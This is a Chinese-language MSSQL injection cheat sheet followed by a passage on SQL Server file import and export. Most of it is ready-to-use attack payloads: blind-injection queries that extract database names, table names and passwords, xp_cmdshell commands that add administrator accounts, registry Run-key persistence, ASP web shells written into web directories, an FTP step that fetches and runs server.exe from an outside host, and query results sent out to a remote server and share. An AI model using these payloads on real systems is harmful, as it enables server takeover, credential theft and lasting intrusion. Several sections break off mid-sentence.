mssql 注入
注入查阅
1、返回的是连接的数据库名 and db_name()>0 2、作用是获取连接用户名 and user>0 3、将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';-- 4、显示SQL系统版本 and 1=(select @@VERSION) 或and 1=convert(int,@@version)-- 5、判断xp_cmdshell扩展存储过程是否存在 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell') 6、恢复xp_cmdshell扩展存储的命令 ;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';-- 7、向启动组中写入命令行和执行程序 ;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\ Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add' 8、查看当前的数据库名称 and 0 <> db_name(n) n改成0,1,2,3……就可以跨库了 或and 1=convert(int,db_name())-- 9、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令(同第76) 10、则把得到的数据内容全部备份到WEB目录下 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 11、通过复制CMD创建UNICODE漏洞 ;exec master.dbo.xp_cmdshell "copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe" 12、遍历系统的目录结构,分析结果并发现WEB虚拟目录 先创建一个临时表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中 ;insert temp exec master.dbo.xp_availablemedia;-- 通过查询temp的内容来获得驱动器列表及相关信息 (2)利用xp_subdirs获得子目录列表,并存入temp表中 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- (3)还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (实验成功) 13、查看某个文件的内容,可以通过执行xp_cmdsell ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 14、将一个文本文件插入到一个临时表中 ;bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp' 15、每完成一项浏览后,应删除TEMP中的所有内容,删除方法是: ;delete from temp;-- 16、浏览TEMP表的方法是: and (select top 1 id from TestDB.dbo.temp)>0 假设TestDB是当前连接的数据库名 17、猜解所有数据库名称 and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 dbid=6,7,8分别得到其它库名 18、猜解数据库中用户名表的名称 and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。 19、判断是否是sysadmin权限 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin')) 20、判断是否是SA用户 'sa'=(SELECT System_user) 21、查看数据库角色 ;use model-- 22、查看库名 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)-- 23、获得第一个用户建立表的名称 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0 假设要获得数据库是TestDB.dbo 24、获得第二个用户建立的表的名称 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz'))>0 25、获得第三个用户建立的表的名称 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz',''))>0 ''中为第二个用户名 26、获得第四个用户建立的表的名称 and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and name not in('xyz','',''))>0 '',''中为第二,三个用户名 27、获得表中记录的条数 and (select count(*) from 表名)<5 记录条数小于5 或 <10 记录条数小于10 ……等等 28、测试权限结构(mssql) and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));-- and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- and 1=(SELECT IS_MEMBER('db_owner'));-- 29、 添加mssql和系统的帐户 ;exec master.dbo.sp_addlogin username;-- ;exec master.dbo.sp_password null,username,password;-- ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 30、 简洁的webshell use model create table cmd(str image); insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>'); backup database model to disk='g:\wwwtest\l.asp'; 请求的时候,像这样子用: http://ip/l.asp?c=dir 31、猜解字段名称 猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,则返回正常 读取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。 32、 猜解用户名与密码 ASCII码逐字解码法:基本的思路是先猜出字段的长度,然后依次猜出每一位的值 and (select top 1 len(username) from admin)=X(X=1,2,3,4,5,… n,假设:username为用户名字段的名称,admin为表的名称 若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。 and (select top 1 ascii(substring(username,m,1)) from admin)=n (m的值在上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称), 33、建立数据表 ;create table 表名 (列名1 数据类型,列名2 数据类型);-- 34、向表格中插入数据 ;insert into 表名 (列名1,列名2,……) values ('值1','值2'……);-- 35、更新记录 update 表名 set 列名1='值'…… where …… 36、删除记录 delete from 表名 where …… 37、删除数据库表格 drop table 表名 38、将文本文件导入表 使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表: create table foo( line varchar(8000)) 然后执行bulk insert操作把文件中的数据插入到表中,如: bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp' 39、备份当前数据库的命令: declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';-- 40、使用sp_makewebtask处理过程的相关请求写入URL ; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" 41、将获得SQLSERVER进程的当前工作目录中的目录列表 Exec master..xp_cmdshell 'dir' 42、将提供服务器上所有用户的列表 Exec master..xp_cmdshell 'net user' 43、读注册表存储过程 exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' 44、xp_servicecontrol过程允许用户启动,停止,暂停和继续服务 exec master..xp_servicecontrol 'start','schedule' exec master..xp_servicecontrol 'start','server' 45、显示机器上有用的驱动器 Xp_availablemedia 46、允许获得一个目录树 Xp_dirtree 47、提供进程的进程ID,终止此进程 Xp_terminate_process 48、恢复xp_cmdshell Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll' 49、堵上cmdshell的SQL语句 sp_dropextendedproc "xp_cmdshell" 50、不需要XP_CMDSHLL直接添加系统帐号,对XPLOG70.DLL被删很有效 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user gchn aaa /add'-- 51、在数据库内添加一个hax用户 ;exec sp_addlogin hax;-- 52、给hax设置密码 ;exec master.dbo.sp_password null,username,password;-- 53、将hax添加到sysadmin组 ;exec master.dbo.sp_addsrvrolemember sysadmin hax;-- 54、(1)遍历目录 ;create table dirs(paths varchar(100), id int) ;insert dirs exec master.dbo.xp_dirtree 'c:\' ;and (select top 1 paths from dirs)>0 ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 55、(2)遍历目录 ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 56、mssql中的存储过程 xp_regenumvalues 注册表根键, 子键 ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 xp_regread 根键,子键,键值名 ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 xp_regwrite 根键,子键, 值名, 值类型, 值 值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 xp_regdeletevalue 根键,子键,值名 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Tes
啊D注入的命令: //看看是什么权限的 and 1=(Select IS_MEMBER('db_owner')) And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;-- //检测是否有读取某数据库的权限 and 1= (Select HAS_DBACCESS('master')) And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 -- 数字类型 and char(124)%2Buser%2Bchar(124)=0 字符类型 ' and char(124)%2Buser%2Bchar(124)=0 and ''=' 搜索类型 ' and char(124)%2Buser%2Bchar(124)=0 and '%'=' 爆用户名 and user>0 ' and user>0 and ''=' 检测是否为SA权限 and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 -- 检测是不是MSSQL数据库 and exists (select * from sysobjects);-- 检测是否支持多行 ;declare @d int;-- 恢复 xp_cmdshell ;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';-- select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') //----------------------- // 执行命令 //----------------------- 首先开启沙盘模式: exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 然后利用jet.oledb执行系统命令 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') 执行命令 ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';-- EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111' 判断xp_cmdshell扩展存储过程是否存在: [url=http://192.168.1.5/display.asp?keyno=188]链接标记http://192.168.1.5/display.asp?keyno=188[/url] and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') 写注册表 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 REG_SZ 读注册表 exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit' 读取目录内容 exec master..xp_dirtree 'c:\winnt\system32\',1,1 数据库备份 backup database pubs to disk = 'c:\123.bak' //爆出长度 And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;-- 更改sa口令方法:用sql综合利用工具连接后,执行命令: exec sp_password NULL,'新密码','sa' 添加和删除一个SA权限的用户test: exec master.dbo.sp_addlogin test,ptlove exec master.dbo.sp_addsrvrolemember test,sysadmin 删除扩展存储过过程xp_cmdshell的语句: exec sp_dropextendedproc 'xp_cmdshell' 添加扩展存储过过程 EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' GRANT exec On xp_proxiedadata TO public 停掉或激活某个服务。 exec master..xp_servicecontrol 'stop','schedule' exec master..xp_servicecontrol 'start','schedule' dbo.xp_subdirs 只列某个目录下的子目录。 xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp' dbo.xp_makecab 将目标多个档案压缩到某个目标档案之内。 所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。 dbo.xp_makecab 'c:\test.cab','mszip',1, 'C:\Inetpub\wwwroot\SQLInject\login.asp', 'C:\Inetpub\wwwroot\SQLInject\securelogin.asp' xp_terminate_process 停掉某个执行中的程序,但赋予的参数是 Process ID。 利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID xp_terminate_process 2484 xp_unpackcab 解开压缩档。 xp_unpackcab 'c:\test.cab','c:\temp',1 某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234 create database lcx; Create TABLE ku(name nvarchar(256) null); Create TABLE biao(id int NULL,name nvarchar(256) null); //得到数据库名 insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases //在Master中创建表,看看权限怎样 Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);-- 用 sp_makewebtask直接在web目录里写入一句话马: [url=http://127.0.0.1/dblogin123.asp?username=123]链接标记http://127.0.0.1/dblogin123.asp?username=123'[/url];exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';-- //更新表内容 Update films SET kind = 'Dramatic' Where id = 123 //删除内容 delete from table_name where Stockid = 3
MSSQL下执行系统命令
假设我们已经连接一台1433的服务器, 那我们要如何来执行系统命令呢,这里我就给大家讲解下啦. 1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add' 人人都知道的办法,最大的好处是有回显,但是最怕 if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1) exec sp_dropextendedproc N'[dbo].[xp_cmdshell]' GO 通过上面的T-SQL语句就可以把这个扩展储存删了 我们一般可以用 2k: EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' SQL97: EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll' 就还原了. 但是有的人知道sp_addextendedproc也只不过是一个储存过程一样可以删除的 Drop PROCEDURE sp_addextendedproc if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1) exec sp_dropextendedproc N'[dbo].[xp_cmdshell]' GO 还原: create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end /* ** Create the extended procedure mapping. */ dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO 唉呀呀写了这么多其实有个最简单的保护办法: 先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了 再把服务打开就可以了 2) 看了上面的你就明白了xp_cmdshell最终是可以被删除的,没别的办法了吗? 有写注册表三: xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run', 'czy82','REG_SZ', net user czy bb /add 其实注册表还有好几个地方可以写的比如说注册表中的WEB浏览设置 用写注册表的办法不好的地方是不但没有回显而且不能马上运行,实不实用我也不知道了 3) declare @s int exec sp_oacreate "wscript.shell",@s out --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open asp.7i24.com>c:\a.txt" --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt" --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt" --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:\a.txt" --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:\a.txt" --exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:\a.txt" exec sp_oamethod @s,"run",NULL,"cmd.exe /c server" 对了正如你看到的我们还可以使用sp_oacreate和sp_oamethod,在它们的作用下我们可以 调用系统的控件比如说fso,wsh,shell什么的,但是有个问题是并不能象xp_cmdshell那样 马上看到结果,真的不能吗看下面的: declare @s int,@o int ,@f int,@str nvarchar(4000) /*exec sp_oacreate "wscript.shell",@s out exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:\temp.txt"*/ exec sp_oacreate "scripting.filesystemobject", @o out exec sp_oamethod @o, "opentextfile", @f out,"c:\temp.txt", 1 exec sp_oamethod @f, "readall",@str out print @str 先执行注解内的然后执行外面的其实原理很简单就是利用>把结果写到一个文件中然后用 fso来读出来!很实用的 ------------------------------------------ 写到这儿该作个总结了上面三个办法可能大家都知道吧 下面的可能知道的人就少了 ------------------------------------------ 4) use msdb; --这儿不要是master哟 exec sp_add_job @job_name='czy82'; exec sp_add_jobstep @job_name='czy82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='dir c:\>c:\b.txt'; exec sp_add_jobserver @job_name = 'czy82',@server_name = 'smscomputer'; exec sp_start_job @job_name='czy82'; 利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以 执行tsql语句了. 对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名 第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧) net start SQLSERVERAGENT 对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的 USE msdb EXEC sp_add_job @job_name = 'GetSystemOnSQL', @enabled = 1, @description = 'This will give a low privileged user access to xp_cmdshell', @delete_level = 1 EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL', @step_name = 'Exec my sql', @subsystem = 'TSQL', @command = 'exec master..xp_execresultset N''select ''''exec master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master''' EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL', @server_name = '你的SQL的服务器名' EXEC sp_start_job @job_name = 'GetSystemOnSQL' 不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以 才让我们可以以public执行xp_cmdshell 5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以) 在安焦有文章:[url=http://www.xfocus.net/vuln/vul_view.php?vul_id=2968]链接标记http://www.xfocus.net/vuln/vul_view.php?vul_id=2968[/url] USE msdb EXEC sp_add_job @job_name = 'ArbitraryFileCreate', @enabled = 1, @description = 'This will create a file called c:\sqlafc123.txt', @delete_level = 1 EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate', @step_name = 'SQLAFC', @subsystem = 'TSQL', @command = 'select ''hello, this file was created by the SQL Agent.''', @output_file_name = 'c:\sqlafc123.txt' EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate', @server_name = 'SERVER_NAME' EXEC sp_start_job @job_name = 'ArbitraryFileCreate' 如果subsystem选的是:tsql,在生成的文件的头部有如下内容 ??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19 ---------------------------------------------- hello, this file was created by the SQL Agent. (1 ?????) 所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员 命令的vbs文件到启动目录! 6)关于sp_makewebtask(可以写任意内容任意文件名的文件) 关于sp_MScopyscriptfile 看下面的例子 declare @command varchar(100) declare @scripfile varchar(200) set concat_null_yields_null off select @command='dir c:\ > "\\attackerip\share\dir.txt"' select @scripfile='c:\autoexec.bat > nul" | ' + @command + ' | rd "' exec sp_MScopyscriptfile @scripfile ,'' 这两个东东都还在测试试哟 让MSSQL的public用户得到一个本机的web shell:) sp_makewebtask @outputfile='d:\sms\a.asp',@charset=gb2312, --@query='select ''<img src=vbscript:msgbox(now())>''' --@query='select ''<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>'' ' @query='select '' <%On Error Resume Next Set oscript = Server.CreateObject("wscript.SHELL") Set oscriptNet = Server.CreateObject("wscript.NETWORK") Set oFileSys = Server.CreateObject("scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <>"")Then szTempFile = "C:\" & oFileSys.GetTempName() Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) End If %> <HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="POST"> <input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> </FORM><PRE> <% If (IsObject(oFile))Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If%> </BODY></HTML> '''
SQL语句导入导出各类文件
/******* 导出到excel EXEC master..xp_cmdshell 'bcp SettleDB.dbo.shanghu out c:\temp1.xls -c -q -S"GNETDATA/GNETDATA" -U"sa" -P""' /*********** 导入Excel Select * FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions /*动态文件名 declare @fn varchar(20),@s varchar(1000) set @fn = 'c:\test.xls' set @s ='''Microsoft.Jet.OLEDB.4.0'', ''Data Source="'+@fn+'";User ID=Admin;Password=;Extended properties=Excel 5.0''' set @s = 'Select * FROM OpenDataSource ('+@s+')...sheet1$' exec(@s) */ Select cast(cast(科目编号 as numeric(10,2)) as nvarchar(255))+' ' 转换后的别名 FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions /********************** EXCEL导到远程SQL insert OPENDATASOURCE( 'SQLOLEDB', 'Data Source=远程ip;User ID=sa;Password=密码' ).库名.dbo.表名 (列名1,列名2) Select 列名1,列名2 FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions /** 导入文本文件 EXEC master..xp_cmdshell 'bcp dbname..tablename in c:\DT.txt -c -Sservername -Usa -Ppassword' /** 导出文本文件 EXEC master..xp_cmdshell 'bcp dbname..tablename out c:\DT.txt -c -Sservername -Usa -Ppassword' 或 EXEC master..xp_cmdshell 'bcp "Select * from dbname..tablename" queryout c:\DT.txt -c -Sservername -Usa -Ppassword' 导出到TXT文本,用逗号分开 exec master..xp_cmdshell 'bcp "库名..表名" out "d:\tt.txt" -c -t ,-U sa -P password' BULK Insert 库名..表名 FROM 'c:\test.txt' WITH ( FIELDTERMINATOR = ';', ROWTERMINATOR = '\n' ) --/* dBase IV文件 select * from OPENROWSET('MICROSOFT.JET.OLEDB.4.0' ,'dBase IV;HDR=NO;IMEX=2;DATABASE=C:\','select * from [客户资料4.dbf]') --*/ --/* dBase III文件 select * from OPENROWSET('MICROSOFT.JET.OLEDB.4.0' ,'dBase III;HDR=NO;IMEX=2;DATABASE=C:\','select * from [客户资料3.dbf]') --*/ --/* FoxPro 数据库 select * from openrowset('MSDASQL', 'Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\', 'select * from [aa.DBF]') --*/ /**************导入DBF文件****************/ select * from openrowset('MSDASQL', 'Driver=Microsoft Visual FoxPro Driver; SourceDB=e:\VFP98\data; SourceType=DBF', 'select * from customer where country != "USA" order by country') go /***************** 导出到DBF ***************/ 如果要导出数据到已经生成结构(即现存的)FOXPRO表中,可以直接用下面的SQL语句 insert into openrowset('MSDASQL', 'Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\', 'select * from [aa.DBF]') select * from 表 说明: SourceDB=c:\ 指定foxpro表所在的文件夹 aa.DBF 指定foxpro表的文件名. /*************导出到Access********************/ insert into openrowset('Microsoft.Jet.OLEDB.4.0', 'x:\A.mdb';'admin';'',A表) select * from 数据库名..B表 /*************导入Access********************/ insert into B表 selet * from openrowset('Microsoft.Jet.OLEDB.4.0', 'x:\A.mdb';'admin';'',A表) 文件名为参数 declare @fname varchar(20) set @fname = 'd:\test.mdb' exec('Select a.* FROM opendatasource(''Microsoft.Jet.OLEDB.4.0'', '''+@fname+''';''admin'';'''', topics) as a ') Select * FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="f:\northwind.mdb";Jet OLEDB:Database Password=123;User ID=Admin;Password=;')...产品 ********************* 导入 xml 文件 DECLARE @idoc int DECLARE @doc varchar(1000) --sample XML document SET @doc =' <root> <Customer cid= "C1" name="Janine" city="Issaquah"> <Order oid="O1" date="1/20/1996" amount="3.5" /> <Order oid="O2" date="4/30/1997" amount="13.4">Customer was very satisfied </Order> </Customer> <Customer cid="C2" name="Ursula" city="Oelde" > <Order oid="O3" date="7/14/1999" amount="100" note="Wrap it blue white red"> <Urgency>Important</Urgency> Happy Customer. </Order> <Order oid="O4" date="1/20/1996" amount="10000"/> </Customer> </root> ' -- Create an internal representation of the XML document. EXEC sp_xml_preparedocument @idoc OUTPUT, @doc -- Execute a Select statement using OPENXML rowset provider. Select * FROM OPENXML (@idoc, '/root/Customer/Order', 1) WITH (oid char(5), amount float, comment ntext 'text()') EXEC sp_xml_removedocument @idoc ??????? /**********************Excel导到Txt****************************************/ 想用 select * into opendatasource(...) from opendatasource(...) 实现将一个Excel文件内容导入到一个文本文件 假设Excel中有两列,第一列为姓名,第二列为很行帐号(16位) 且银行帐号导出到文本文件后分两部分,前8位和后8位分开。 邹健: 如果要用你上面的语句插入的话,文本文件必须存在,而且有一行:姓名,银行账号1,银行账号2 然后就可以用下面的语句进行插入 注意文件名和目录根据你的实际情况进行修改. insert into opendatasource('MICROSOFT.JET.OLEDB.4.0' ,'Text;HDR=Yes;DATABASE=C:\' )...[aa#txt] --,aa#txt) --*/ select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8) from opendatasource('MICROSOFT.JET.OLEDB.4.0' ,'Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls' --,Sheet1$) )...[Sheet1$] 如果你想直接插入并生成文本文件,就要用bcp declare @sql varchar(8000),@tbname varchar(50) --首先将excel表内容导入到一个全局临时表 select @tbname='[##temp'+cast(newid() as varchar(40))+']' ,@sql='select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8) into '+@tbname+' from opendatasource(''MICROSOFT.JET.OLEDB.4.0'' ,''Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls'' )...[Sheet1$]' exec(@sql) --然后用bcp从全局临时表导出到文本文件 set @sql='bcp "'+@tbname+'" out "c:\aa.txt" /S"(local)" /P"" /c' exec master..xp_cmdshell @sql --删除临时表 exec('drop table '+@tbname) /********************导整个数据库*********************************************/ 用bcp实现的存储过程 /* 实现数据导入/导出的存储过程 根据不同的参数,可以实现导入/导出整个数据库/单个表 调用示例: --导出调用示例 ----导出单个表 exec file2table 'zj','','','xzkh_sa..地区资料','c:\zj.txt',1 ----导出整个数据库 exec file2table 'zj','','','xzkh_sa','C:\docman',1 --导入调用示例 ----导入单个表 exec file2table 'zj','','','xzkh_sa..地区资料','c:\zj.txt',0 ----导入整个数据库 exec file2table 'zj','','','xzkh_sa','C:\docman',0 */ if exists(select 1 from sysobjects where name='File2Table' and objectproperty(id,'IsProcedure')=1) drop procedure File2Table go create procedure File2Table @servername varchar(200) --服务器名 ,@username varchar(200) --用户名,如果用NT验证方式,则为空'' ,@password varchar(200) --密码 ,@tbname varchar(500) --数据库.dbo.表名,如果不指定:.dbo.表名,则导出数据库的所有用户表 ,@filename varchar(1000) --导入/导出路径/文件名,如果@tbname参数指明是导出整个数据库,则这个参数是文件存放路径,文件名自动用表名.txt ,@isout bit --1为导出,0为导入 as declare @sql varchar(8000) if @tbname like '%.%.%' --如果指定了表名,则直接导出单个表 begin set @sql='bcp '+@tbname +case when @isout=1 then ' out ' else ' in ' end +' "'+@filename+'" /w' +' /S '+@servername +case when isnull(@username,'')='' then '' else ' /U '+@username end +' /P '+isnull(@password,'') exec master..xp_cmdshell @sql end else begin --导出整个数据库,定义游标,取出所有的用户表 declare @m_tbname varchar(250) if right(@filename,1)<>'\' set @filename=@filename+'\' set @m_tbname='declare #tb cursor for select name from '+@tbname+'..sysobjects where xtype=''U''' exec(@m_tbname) open #tb fetch next from #tb into @m_tbname while @@fetch_status=0 begin set @sql='bcp '+@tbname+'..'+@m_tbname +case when @isout=1 then ' out ' else ' in ' end +' "'+@filename+@m_tbname+'.txt " /w' +' /S '+@servername +case when isnull(@username,'')='' then '' else ' /U '+@username end +' /P '+isnull(@password,'') exec master..xp_cmdshell @sql fetch next from #tb into @m_tbname end close #tb deallocate #tb end go /************* oracle **************/ EXEC sp_addlinkedserver 'OracleSvr', 'Oracle 7.3', 'MSDAORA', 'ORCLDB' GO delete from openquery(mailser,'select * from yulin') select * from openquery(mailser,'select * from 